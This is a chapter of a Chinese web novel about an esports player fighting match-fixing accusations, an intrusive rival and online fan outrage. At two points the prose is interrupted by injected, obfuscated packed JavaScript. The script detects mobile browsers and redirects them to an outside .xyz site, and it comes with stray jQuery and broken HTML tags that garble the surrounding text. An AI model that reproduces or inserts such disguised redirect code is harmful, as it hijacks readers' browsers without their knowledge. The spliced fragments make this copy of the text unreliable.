虽然只是BIG的替补,但联盟规定的最低工资都是一个月三万,况且原主遗留下的物品虽然轻浮却不算昂贵,他不应该这么穷。
原来都用来感谢经理的“栽培”了。
钟不拘刚抬起头,裘度就把转账记录从他手中抢过来,看了两眼就怒不可遏:
“你们经理看着慈眉善目,没想到还收保护费啊。钟不拘你是傻吗?这你都不去举报他!”
钟不拘叹了口气:“万一这就是参与□□的证据呢。”
裘度最受不了他用怜悯的眼神看自己,立刻对警察道:
“能不能帮忙查他们经理的转账记录,看看这些钱是不是投给庄家了。”
他又突然反应过来,对钟不拘皱眉道:
“如果这就是交给联盟的证据,你怎么只有转出没有收入?天底下还有赔钱打假赛的道理。”
钟不拘没说话,向他投去同情的目光。
裘度气不过,又看向警察。
警察的目光同样饱含对他缺少生活常识的同情:“这位同志,我要纠正你几个观点。”
“第一,任何公民的个人信息都应当被保护,转账记录只能由本人携带身份证件来查询。”
“第二,□□行为违反法律规定,实践中具有隐蔽性,譬如赃款往往以现金,而非转账的形式进行转移。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15037092|160825||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
裘度就算再急躁,也听懂了警察的意思:
“这岂不是说,你们经理自爆的证据,可能根本没办法验证真实性?”
钟不拘早已了然,经理就是仗着死无对证这根救命稻草,非要把他也拉进泥潭。
然而,他虽然心思澄明,却困于没有继承原主的任何记忆,只能盲人摸象地找寻真相。
裘度不耐烦道:“你要怎么办?”
过于明亮的白炽灯下,钟不拘苍白的脸几乎和墙壁融为一体,然而他的表情却无惧色,反倒有种莫名的决然。
无论如何,他一定要打比赛。
“我去求人。”他说。
裘度下意识以为钟不拘要去求祁舜,劝阻道:“你们老板连基地都不让你进了,你还......”
话还没说完,钟不拘已经起身离开了。
裘度三两步追出去,拦在他身前,盛气凌人的眉眼上带着几分得意:“我有个办法,你要不要听。”
钟不拘轻扬起下巴,示意他说。
裘度挑了下眉:“求人,不如换成求我。”
钟不拘冷淡道:“求你。”
裘度一脸骄傲:“我准备去找庄家问问。”
虽然对他的安危并不在意,但是钟不拘还是有些惊讶,善意提醒道:“无论是庄家还是代理,大多是亡命之徒,你不要冲动。”
“哟,你还能说出这么长的句子。”裘度调侃了一句,心想钟不拘果然还是很在意他。
钟不拘正色道:“不要这么做,裘度。”
裘度耸了耸肩,搭上他的肩膀:“安心啦,你接下来去哪?”
......
裘度在附近一家网吧和钟不拘分开,他提出钟不拘可以住在他的酒店套房,但被断然回绝了。
他越拒绝,裘度越想向他证明自己,让他重新变回漂亮又顺从的舔狗,成为他夸耀的资本和肆意揉捏的对象。
看着钟不拘瘦削单薄的身影消失在网吧门口,裘度给林小双打了电话:
“喂,你有没有咱们战队之前那个老黑的联系方式。”
林小双愣了下:“老黑?前年打假赛被禁赛那个?”
裘度:“嗯。你认识的人多,帮我问问联系方式。”
沉默了一会,林小双难为情道:“裘哥,老黑那人阴得很,本来就是小混混出身,听说禁赛后就彻底投身非法买卖了,你可别招惹他啊。”
裘度不耐烦:“屁话少说。”
林小双劝诫道:“你不会是想掺和钟不拘那事吧?”
作为VHG队内和裘度走得最近的人,他知道他俩撑死算是一夜情,什么谈恋爱都是裘度顺口胡诌的。
林小双继续道:“你的停赛调查也快结束了,快回来训练吧。”
裘度:“你不帮忙我找别人了啊。”
林小双叹气:“裘哥,我再最后问你一次,这个钟不拘对你就那么重要?”
裘度:“对啊,我乐意,不行吗?”
林小双:“那你觉得他能来VHG打中单吗?”
裘度略作犹豫:“你合同不是还有两年呢,我说了也不算啊。别胡扯了,帮我打听一下。”
林小双沉默了一会,答道:“好。”
二十分钟后,裘度收到林小双发来的电话和地址,他的法拉利一路轰鸣,向着北城五环外的一个城中村驶去。
22.不拘
“喂,你换台机子,你这么玩太伤机子了。”
天刚蒙蒙亮,网管叼着根烟,不耐烦地拍了拍钟不拘的后背。
他埋着头打了一夜排位,本就瘦削的身型显得佝偻,再加上从里到外都被大雨淋透了,落魄至极,看来就像被家长赶出家门的网瘾少年。
“年纪轻轻的,也不怕腱鞘炎。”网管又抱怨了一句。
昨晚他一宿都没睡好,这人键盘敲得比店里见过的所有人都快,而且还特别用力,噼里啪啦地砸得他做噩梦。
钟不拘转过头,网管本来相当不爽,但一看见他这张脸,态度立刻缓和不少。
他的脸颊和双唇都苍白,眼下甚至还有点乌青,长发被雨淋湿后又干透了,显得十分凌乱。
一般人这样子看起来估计都像鬼了,这人却跟电视里的女明星一样好看,网管愣了愣:
“你要吃早餐吗,我请客!”
钟不拘刚准备摇头拒绝,网管就把隔壁面馆的代金券塞进他手里:
“打游戏能比吃饭重要?你看看你都瘦成什么样了。”
网管说完就忙着去给其他包夜的客人结账,钟不拘刚站起来,身体就不听使唤地跌在电竞椅上。
一天两晚滴水未进,他的思维还清晰,但是身体却虚弱起来。
他离开网吧,去旁边的小面馆点了碗素面,刚一坐下,就听见面馆老板抱怨道:
“看看看,天天就喜欢看这些娘娘腔,还不帮我把碗洗了!”
坐在钟不拘后桌的女孩不服气:“什么娘娘腔,我哥唱跳俱佳还会写歌,你看看人家这腹肌,是你腰上那一坨能比吗?”
两人吵吵嚷嚷间,身后传来熟悉的声音:
“接下来有请我们的13号选手,来自奇艺星娱的尹宙,为大家带来他的改编歌曲《摇篮曲》.......”
“我想把这首歌献给我的哥哥。”
“月儿明,风儿轻,树叶遮窗棂......”
钟不拘侧过头,看见面馆老板女儿捧着平板电脑,一脸陶醉地盯着屏幕里的粉发男人。
这期是尹宙上周录制的,上台前他还缠着钟不拘听他唱了一遍。
尹宙是有音乐天赋的,钟不拘也没有吝啬褒奖。那天尹宙开心得像条撒欢的金毛,隔着屏幕说只要有哥哥加油,他就会超常发挥。
不过短短一夜之间,所有包裹着欲望的糖衣被打碎,他再也回不去那间小出租屋了。
正怅然间,钟不拘的手机震动起来。
是崔秘书。
“喂,钟不拘啊,在吗?”
“你那个听证会准备得怎么样了?联盟刚通知我们,三天后开会,你记得准备好证据,找个人帮你写写发言稿,到时候别出错啊。”
崔秘书絮絮叨叨地叮嘱了许多。
经理因为自爆菠菜被停职,他暂时接过俱乐部的运行职责,虽然通知听证会是职责范围之内,但这些善意的嘱咐却并非祁舜授意。
无他,崔秘书深谙祁舜喜怒无常的性格,这么做只是为了给以后的自己省点事。
毕竟有句台词他熟:“少爷已经很久没这么在乎过谁了。”
隔着话筒,钟不拘轻轻说了句:“谢谢。”
听着对方那气若游丝的声,崔秘书叹了口气,压低音量道:“我知道你考核期间表现很好,不论之前怎么样,你是想打比赛的。”
钟不拘的声音好像大了些:“是的。”
崔秘书又道:“你这个事啊,联盟只是内部讨论,外面还一点风声也没有,这就说明还有转圜。”
钟不拘意会:“经理的意思,无非是要我让出首发。只要不禁赛,就还有希望,我会争取......”
他停顿了片刻:“我会争取离开BIG。”
崔秘书又深深叹了一口气,挂断了电话。
钟不拘放下手机,老板这时候板着一张臭脸,把素面随手扔在他桌上,面汤从碗里飞溅出来。
“看看看还看!”老板丝毫不顾忌恶劣的服务态度,指着后桌的女儿喊道:
“这小白脸都唱完了,你怎么还不来帮忙?”
见女儿还是捧着平板电脑一动不动,老板彻底火了,两步走向前去,啪的一声把平板扣在桌上:
“没收!今天不刷一百个碗你别想再玩!”
“啊——”
女孩突然爆发出尖利的哭声,吓得周围的食客频频回头。
老板也吓了一跳,忙把平板递还给她:“算了算了,你继续玩吧,这有什么好哭的?”
女孩是尹宙的忠实粉丝,她一失控,钟不拘的心就跟着悬了起来。
昨夜他为求脱困被逼无奈,虽然已经尽力掌控力度,但还是担心尹宙伤得太重。
他连忙登录久不关注的微博,却赫然看见几个热搜词条:
【有一个拖后腿的兄弟是什么体验】、【CPL 丑闻】,以及【尹宙退赛】。
三个词条指向同一个新闻:近期男团选秀节目的高人气选手尹宙,突然官宣要退出“偶像101”的后续录制。
经纪公司刚放出这条公告,立刻在秀粉中引起轩然大波,之前尹宙镜头曝光都很足,不少人还以为他是“皇族”。
于是,关于尹宙为什么突然退赛的讨论沸沸扬扬,直到有个圈内知名娱乐博主指出:
尹宙之所以退赛,和他一直声称最重要的哥哥脱不了干系。
博主在小作文里含沙射影,说尹宙的哥哥,那位替补CPL职业选手,闯下了可能要进局子的弥天大祸,尹宙甚至可能被牵连成劣迹艺人。
经纪公司为了缩小影响,给尹宙留出一条生路,这才直接退赛。
博主说得有板有眼,甚至连钟不拘被举报的时间,都八九不离十。
钟不拘的指尖悬在屏幕上,听见女孩在身后边哭边骂:
“钟不拘,你这个贱人!害我哥不能成团出道了,他的前途谁来赔啊!”
面馆老板面露难色:“闺女,这些人都是戏子,说不定都是演给你们看的呢。”
女孩不管不顾继续痛哭:“哥哥太可怜了,要是连我都不支持他,他可怎么办呀......”
钟不拘把热门微博翻了一遍,所有博主和粉丝的口径都很一致,尹宙退赛是因为他犯了大错。
对于电竞选手而言,仅仅是私生活混乱罪不至此,到底什么样的错误,能严重到这种地步?
粉头们都“不约而同”地猜到:钟不拘肯定是参与菠菜了。
还有粉丝自发到CPL联盟官博下请愿:
【这人黄赌毒三样占了两样,怎么还不立刻终身禁赛?】
【你们肯定不知道Lock他爸是谁,这摆明了要包庇小情人。】
【我要去实名举报!】
【心疼我们宙宙,还以为是内娱紫微星,谁能想到......】
钟不拘纵使一贯冷静淡漠,此时也忍不住冷笑出声。
刚想好只要有比赛可打,无论去三流战队还是次级联赛都无所谓。只要有机会,无论多小,他都会爬上最高荣誉的领奖台。
结果,这个联盟还在保密的消息,却被娱乐圈捅出个窟窿。
反倒被他所谓的“弟弟”,用来遮掩自己险些成为强///奸犯的事实!
因为女孩的哭嚎而格外安静的面馆里,钟不拘的冷笑声非常刺耳。
女孩一下转过头,对他怒吼道:“笑什么笑!你还是人吗有没有同情心!”
钟不拘面无惧色,嘴角还扬起近乎嘲讽的弧度,整个人既憔悴又艳丽,美得诡异又动人心魄。
女孩一下子愣住了,鼻涕都快流到嘴唇上,这人,怎么有点眼熟?
钟不拘从容起身,甚至还绅士地递给她一张纸巾:“先同情自己吧。”
......
吃完早餐,钟不拘径直返回网吧。
网管怕他把键盘敲坏,又给他换了个机位,看起来还在收费更高的贵宾区。
钟不拘身上没什么钱,虽然前几周直播挣了些礼物钱,但他只是提现了生活所需,大头都被BIG以公司财产为名封锁了。
“我不升级。”
钟不拘说出这话也没有不好意思,他本来就对物质看得很淡,满脑子只有游戏。
网管看他虽然吃了面,但脸色却好像更差,从冰柜拿出一瓶能量饮料塞给他:
“白天没什么人,给你免费升级。还有这个,也送你喝了吧,年纪轻轻别熬那么多夜,你看你脸色都是青的。”
“谢谢。”钟不拘头也不回地走向机位。
钟不拘重新登录原主账户,经过一晚不眠不休的疯狂游戏,他已经在国服rank前一百有了姓名。
正准备继续排位,手机又一次震动起来,是昨夜分别后就销声匿迹的裘度。
裘度:【猜猜我在哪?】
钟不拘懒得回复,把手机倒扣在桌上,在峡谷中杀得血肉横飞。
他不是凶猛型的选手,更擅长精密的微操和对赛场节奏的把控,但这不代表他不能凶猛。
同样,他也珍惜职业生命,鲜少做出猛敲键盘泄愤这种磨损关节的行为,但这不代表他不能破坏。
键盘敲击声密集又响亮,听起来简直像战鼓。
穿书后的第三周,他就适应了COW这款游戏,达到可以冲击职业联赛的水准,不可谓天赋不卓绝。
但是,此时的他,连参加比赛的资格都要系于他人之手,成为诱惑他走向深渊的诱饵。
钟不拘的键盘敲得更响了。
巨大的“Victory”浮现在屏幕上,钟不拘这才拿起手机。裘度的性子根本等不了这么久,早就主动交了底。
裘度:【我找到庄家的老巢了,等我好消息。】
钟不拘无奈:【很危险,不要去。】
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15046210|160825||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
裘度:【就知道你还关心我。】
看着他发的捂嘴笑表情包,钟不拘的嘴角抽搐了两下:【我不需要你帮忙。】
裘度:【呵呵,那你要怎么办,去跪舔你们老板?我不允许。】
钟不拘:【我在等机会。】
裘度:【等我吧~】
钟不拘遏制住拉黑的冲动:【你下午还有比赛,先回来。】
裘度却再也没回复。
钟不拘对他不抱期待,只求他不要添乱。毕竟仅仅是调查选手大会那晚他的房卡从何而来这么简单的任务,裘度也至今没有交代。
裘度沉浸在英雄角色扮演游戏中,他不在乎钟不拘,也不在乎任何人。
他只在乎自己能出尽风头。
放下手机,钟不拘定了闹钟,如果裘度下午五点还没消息,他就会报警。
钟不拘继续排位。
......
下午四点五十,钟不拘上升到国服rank前八十名。
这对于有点天赋的高端玩家而言已是极限,接下来就是职业选手的战场。
不少俱乐部要求选手赛季末排名不能低于八十,否则就要扣除绩效,而如今正值赛季尾声,高端局的角逐堪称你死我活。
但在参与角逐前,钟不拘还是给裘度打了个电话。
裘度没接。
钟不拘果断选择报警,但是一个陌生号码打来得抢先一步,钟不拘接起了电话。
“喂,请问是BIG的Freeman吗?”
来人的语调相当客气:“我是VHG的林小双,ID是Double,咱们在赛场见过,还记得我吗?”
钟不拘“嗯”了一声。
林小双:“我看到你给裘哥打电话了,裘哥,呃,他让我代为转告一声。”
钟不拘:“他已经回去了吗?”
林小双:“是啊,你也知道,今天他的停赛调查结束,已经回来和我们训练了。”
背景音适时传来裘度的吼声,依旧是那么愤怒、那么不耐烦。
钟不拘刚松了口气,就听到林小双语调严肃:
“裘哥对你的态度,你也是知道的,只是应付调查做的表面功夫。”
钟不拘也不气恼:“帮我谢谢他。”
林小双似乎顿了一下:“裘哥不好意思说出口,但是作为他的搭档,我还是有些话要代为转述。”
“你也知道,今天因为你的事他自己去找了庄家,这对于他这种明星选手,风险非常大。”
钟不拘不置可否:“嗯。”
林小双继续道:“裘哥他说,呃......诶裘哥别抢我手机!”
话筒那边传来一片杂音,随后传来裘度愤怒的声音:“钟不拘,你怎么能干出这种事!”
钟不拘的左眼眼皮猛地跳了一下。
“和你这种人打同一个游戏,是对我的侮辱!”
话筒那边的裘度气势汹汹,语气不容辩驳。
林小双又抢回手机,他的语气恳切:“所以你也听见了,裘哥说话或许不好听,但都是真诚的。”
“说来冒昧,但是希望你别再干扰他备赛,我们这届联赛的目标是世界冠军,真的不容有失。”
“因为你,他都没办法参加今晚这场季后赛。”
“好自为之。”
林小双直接挂了电话。
虽然对裘度没有期待,但听见他这番斩钉截铁的指责,钟不拘竟有如坠冰窟之感。
就像是最后一片雪花落在他的后背。
难道原主真的做了有悖职业道德之事?那他怎么会这么穷?
他一个赛场边缘的小角色,能对赛事走向有什么影响?
裘度即使有所发现,为什么不亲自来和他对峙,反而把无关的队友牵扯进来?
许多问题涌上脑海,钟不拘时隔很久,再次感受到难言的迷茫和痛苦。
他甚至握不住手机,只能听着砰的一声闷响,击碎他用以自我保护的淡然。
——他的命运,难道真是疾风里的苇草,再也不在他的掌控中吗?
上一次产生这样的感觉,还是在六年前,因为他的年轻气盛,他们错失了进入S赛总决赛的机会。
那时候他在比赛席哭到昏厥,甚至没办法起身去和胜方握手。
老队长拍着他的背,说:“小拘啊,没事的,我们都还能等你成长,明年我们再来。”
但是他倒在了那一年的冬天,钟不拘至今仍在深夜的梦魇中,反复回到那个冬日的午后。
队长的几乎所有器官都插着塑料管,他的手上全是针孔,那双枯槁的手再也敲不动键盘了。
“小拘,不要陷在过去的遗憾里。”
“你要去过不受拘束的、自由而有意义的一生。”
这是队长对他说的最后一句话。
他不能这样屈服。钟不拘明白。